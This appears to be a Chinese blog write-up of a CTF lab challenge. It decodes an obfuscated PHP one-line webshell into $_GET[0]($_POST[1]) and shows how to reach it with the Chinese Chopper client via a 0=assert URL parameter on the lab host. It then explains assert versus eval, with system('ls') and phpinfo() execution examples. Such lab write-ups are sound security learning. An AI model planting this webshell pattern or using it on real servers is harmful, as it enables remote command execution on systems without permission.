墨者 - PHP代码分析溯源(第1题)

进入环境,发现是php源码

用在线php代码调试工具调试(要用echo输出,将${$__}[!$_](${$___}[$_]);删掉,否则报错)

结合输出, ${$__}[!$_](${$___}[$_]); 的意思大概是

<?php $_GET[0]($_POST[1])?>

这是php一句话木马的变种

其他更多变种参考:https://blog.csdn.net/xiaoshan812613234/article/details/41743189

接下来就是菜刀无惧链接了,http://219.153.49.228:46361/b.php?0=assert

 拿到key

如果连不上,不要怀疑方法的问题,是菜刀版本问题......

请换一把菜刀,不要问我是怎么知道的。。。。

总结

   操作可谓是相当简单,但也只是上网找的教程照做而已。心中还有不少困惑,知其意而不明其义。

   一开始,博主很好奇,因为姆语言不是php,不明白为什么会出现一个assert参数,也不明白为什么要0=assert,

   在题目中也是没提示,于是上网深扒。

   在https://www.cnblogs.com/sijidou/p/9168496.html这个解题博客中,发现一句木马的新玩法,不但能通过密码链接,

   还可以直接通告url调动系统函数例如phpInfo(),这里也发现了assert和eval函数的区别。

assert和eval函数的区别

    assert和eval都是可以直接执行括号里的任意代码的,唯一不同的是eval是直接编译的语言构造器,可直接调用echo等可变函数,而assert是一个可变函数,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。但值得注意的是不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。这里具体可以参考:https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html

     assert这个函数可以在括号里输入任意字符串代码,代码就会被执行,例如

<?php assert('system('ls')');?>

     和eval函数一样, 代码会被执行

     但是这个可以执行任意字符串代码的功能只能php 5 才可以用,php 7以上assert变成了一种语言结构而不是一个函数,

也就是说像eval一样不支持可变函数。

   具体参考链接:https://www.smi1e.top/%E6%B5%85%E8%B0%88eval%E5%92%8Cassert/

   大概明白了assert和eval的区别与用法,但是根本问题没解决,为什么要用到0=assert。

   直到我再翻回之前看过得博客https://www.cnblogs.com/sijidou/p/9168496.html,才恍然大悟,$_GET[1]是用GET的方式

从页面的url获取方法名字为“0”的值assert,现在尝试解释一下题目的参数代码意思

   上面题目的一句话木马

<?php $_GET[0]($_POST[1])?>

  $_GET[0] 获取以GET的方式从页面的url获取了方法名字为“0”的值assert,就会变成以下代码'

<?php assert($_POST[1])?>

   变成了一句话木马的原型

   而且里面的$_POST[1]也可以自由控制参数,什么都不传就是密码为1,菜刀链接上去。

   也可以执行操作,例如用HackBar访问题目网址

 其实这个url的转换到后台的执行是

<?php assert('phpinfo()')?>

 到此,所有困惑已经解决。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值